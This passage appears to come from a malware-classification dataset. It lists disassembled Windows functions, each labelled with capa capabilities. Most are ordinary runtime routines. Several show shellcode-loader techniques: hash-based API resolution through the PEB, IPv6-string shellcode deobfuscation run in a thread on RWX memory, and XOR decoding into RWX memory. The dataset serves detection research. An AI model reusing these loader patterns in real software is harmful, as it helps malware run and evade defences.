joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x14065a058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14065a1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14065a089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14065a06f
add dl, dl
jne 0x14065a096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14065a0f6
xor eax, eax
add dl, dl
jne 0x14065a0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14065a1ad
add dl, dl
jne 0x14065a0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14065a0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14065a0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14065a0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14065a0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14065a07e
mov eax, 1
add dl, dl
jne 0x14065a106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14065a113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14065a0fb
sub eax, ebx
mov ebx, 1
jne 0x14065a14c
mov ecx, 1
add dl, dl
jne 0x14065a12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14065a13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14065a123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14065a07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14065a168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14065a175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14065a15d
cmp eax, 0x7d00
jae 0x14065a19b
cmp eax, 0x500
jb 0x14065a196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14065a07e
cmp eax, 0x7f
ja 0x14065a19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14065a07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14065a1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14065a07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
push rax
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
xor r9, r9
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x6d7ea670
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d80b5e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d7ea7f8
mov rax, qword [0x6d80b5e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d7ea6bc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d7ea745
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d7ea6a0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d7ea82d
mov rax, qword [0x6d80b5e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d80b5e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d7ea810
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d7ea73e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d7ea7a0
add dword [0x6d80b5e4], 1
cmp edi, 8
jae 0x6d7ea773
test dil, 4
jne 0x6d7ea7e4
test edi, edi
je 0x6d7ea768
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d7ea7ff
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d7ea768
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d7ea78c
jmp 0x6d7ea768
add rsi, qword [0x6d80b5e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d7ea73e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d7ea768
xor esi, esi
jmp 0x6d7ea6c7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d7ea768
mov rax, qword [0x6d80b5e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d7eaf80
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d80b8c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d80b8a0]
test rbx, rbx
je 0x6d7eafd4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d7eafcb
test rsi, rsi
je 0x6d7eafcb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d7eafb0
lea rcx, [0x6d80b8c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d7eb210
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d7eb220
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d7eb230
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d7eb271
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d7eb268
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d7eb273
add rax, 0x28
cmp rax, r9
jne 0x6d7eb254
xor eax, eax
ret

Function at 0x6d7eb310
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8081f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d7eb37d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7eb37d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d7eb37d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d7eb374
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d7eb37f
add rax, 0x28
cmp rax, r9
jne 0x6d7eb360
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d7eb480
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8081f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d7eb4a0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7eb498
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d7eb4fd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d7eb4f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d7eb504
add rax, 0x28
cmp rax, r9
jne 0x6d7eb4e0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d7eb520
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d8081f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d7eb58e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d7eb58e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d7eb58e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d7eb58e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d7eb585
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d7eb595
add rcx, 0x28
cmp rcx, rax
jne 0x6d7eb570
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d7eb5a8
jmp 0x6d7eb58e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d7eb5b6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d7eb58e
test r9d, r9d
jg 0x6d7eb5a0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d7eb910
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rsi
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, 0x138
lea rcx, str._i__SizeOf_IPv6Shell_:__d__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x270
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x1400010fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx_Failed_With_Error:__d__n
call fcn.140001010
lea eax, [rsi - 1]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400012c0
add rsp, 0x60
pop rsi
ret
mov qword [rsp + 0x70], rbx
lea rcx, str.___LpBaseAddress:_0x_0_16p__n
mov qword [rsp + 0x78], rbp
mov rdx, rsi
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r15
call fcn.140001010
lea rcx, str.NTDLL
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlIpv6StringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x140001178
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x14000126b
xor edi, edi
lea r13, str.FC48:83E4:F0E8:C000:0000:4151:4150:5251
xor ebp, ebp
lea r15, [0x140005178]
mov rbx, r13
nop dword [rax]
mov rcx, qword [rbx]
lea rdx, [rsp + 0x30]
movsxd r8, edi
add r8, rsi
call r14
test eax, eax
js 0x140001254
add edi, 0x10
inc ebp
add rbx, 8
cmp rbx, r15
jl 0x140001190
mov r8d, 0x270
lea rcx, str.___Deobfuscated_bytes_at_address__p_of_size___d._n
mov rdx, rsi
call fcn.140001010
lea rcx, str.___Deobfuscated_Shellcode:_n
call fcn.140001010
xor ebx, ebx
nop word [rax + rax]
movzx edx, byte [rbx + rsi]
lea rcx, str._02X
call fcn.140001010
inc rbx
cmp rbx, 0x270
jl 0x1400011e0
lea rcx, [0x140003a18]
call fcn.140001010
lea rax, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rsi
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.___hit_Enter_To_Exit_...__n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov edx, 0x270
mov r8d, 0x4000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140001270
movsxd rdx, ebp
lea rcx, str.____RtlIpv6StringToAddressA_failed_for__s_result__x
mov r8d, eax
mov rdx, qword [r13 + rdx*8]
call fcn.140001010
mov eax, 0xffffffff
mov r14, qword [rsp + 0x58]
mov r13, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400012c0
add rsp, 0x60
pop rsi
ret
Function at 0x1400023c4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000240e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000240e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000240e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000240e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000240e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002410
xor al, al
add rsp, 0x28
ret

Function at 0x14000aeec
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000ace8
Function at 0x14001042c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14001045c
xor eax, eax
jmp 0x14001051f
mov rbp, rbx
cmp word [rax], si
je 0x140010481
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140010468
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140010464
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14001034c
movsxd r14, eax
test eax, eax
jne 0x1400104bf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140010455
mov rcx, r14
call fcn.14000c8ec
mov rdi, rax
test rax, rax
jne 0x1400104d8
xor ecx, ecx
call fcn.14000bc74
jmp 0x1400104b4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14001034c
test eax, eax
jne 0x140010509
mov rcx, rdi
call fcn.14000bc74
jmp 0x140010513
xor ecx, ecx
call fcn.14000bc74
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140014938
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001494e
mov al, 1
jmp 0x1400149ae
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14001495f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400149ac
mov ecx, dword [rcx + 0x18]
nop
call fcn.140010d4c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400149ac
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400149ac
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400149ac
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400149ae
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140014bac
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140027590]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140014c03
cmp word [rdx], r13w
jne 0x140014c03
or byte [rax + rdi*8 + 0x38], cl
jmp 0x140014c08
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x140014d2d
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x140014d4e
lea r9, [rdx + 2]
cmp cx, r11w
je 0x140014c41
mov rdx, r9
mov word [rbx], cx
jmp 0x140014c68
cmp r9, r8
jae 0x140014c78
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x140014c22
jmp 0x140014d2d
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140014d22
cmp dword [rsp + 0x80], esi
je 0x140014d22
lea r8, [0x140027590]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x140014cfa
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x140014cca
mov word [rbx], r13w
jmp 0x140014d2a
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x140014cd7
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x140014d2a
cmp word [rsp + 0x70], r13w
jne 0x140014d07
cmp rbx, r14
je 0x140014cc4
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140016c44
cmp word [rsp + 0x70], r13w
je 0x140014d2d
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140027590]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x140014d27
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x140014d2d
Function at 0x140016510
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000f41c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001659a
cmp byte [rbp - 0x21], r15b
je 0x140016595
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400165d0
call fcn.14000bec4
test eax, eax
jne 0x1400165bc
cmp byte [rbp - 0x21], r15b
je 0x1400165b4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400165d0
cmp byte [rbp - 0x21], r15b
je 0x1400165cd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000e9fc
test eax, eax
jne 0x140016670
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000f41c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001660f
cmp byte [rbp - 0x21], r15b
je 0x140016644
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140016644
call fcn.14000bec4
test eax, eax
jne 0x140016630
cmp byte [rbp - 0x21], r15b
je 0x140016629
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140016644
cmp byte [rbp - 0x21], r15b
je 0x140016641
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000e9fc
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140016670
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140016673
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140016681
mov rcx, rdi
call fcn.14000bc74
cmp byte [rbp + 0x3f], r15b
je 0x140016690
mov rcx, qword [rbp + 0x27]
call fcn.14000bc74
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140018c40
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140018c68
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140018c68
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180003528
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov ebp, edx
mov rsi, rcx
xor edx, edx
lea rcx, str.kernel32.dll
call qword [sym.imp.ole32.dll_CoLoadLibrary]
mov rdx, rax
lea r8, str.VirtualAlloc
call fcn.18000b3ec
lea rcx, str.8192
mov rdi, rax
call fcn.18001c30c
lea rcx, str.4096
mov ebx, eax
call fcn.18001c30c
or ebx, eax
mov edx, ebp
mov r8d, ebx
mov r9d, 0x40
xor ecx, ecx
call rdi
xor r8d, r8d
mov r9, rax
test rax, rax
je 0x1800035e1
test ebp, ebp
je 0x1800035de
mov r10, r9
sub rsi, r9
mov ecx, r8d
mov eax, 0xb60b60b7
imul r8d
add edx, r8d
inc r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2d
sub ecx, eax
movsxd rax, ecx
lea rcx, str.nQ_30Gey4XQAl8JyW55c8_8QUHu92RnYpyA_ZAcc9
mov al, byte [rax + rcx]
xor al, byte [rsi + r10]
mov byte [r10], al
inc r10
cmp r8d, ebp
jb 0x1800035a2
mov rax, r9
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18000b3ec
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
movsxd rax, dword [rdx + 0x3c]
mov r9, rdx
mov rbp, r8
mov ecx, dword [rax + rdx + 0x88]
add rcx, rdx
mov r10d, dword [rcx + 0x20]
mov ebx, dword [rcx + 0x1c]
add r10, rdx
mov edi, dword [rcx + 0x24]
add rbx, rdx
mov esi, dword [rcx + 0x18]
add rdi, rdx
xor edx, edx
test esi, esi
je 0x18000b45e
mov eax, dword [r10]
mov r11, rbp
add rax, r9
sub r11, rax
movzx ecx, byte [rax]
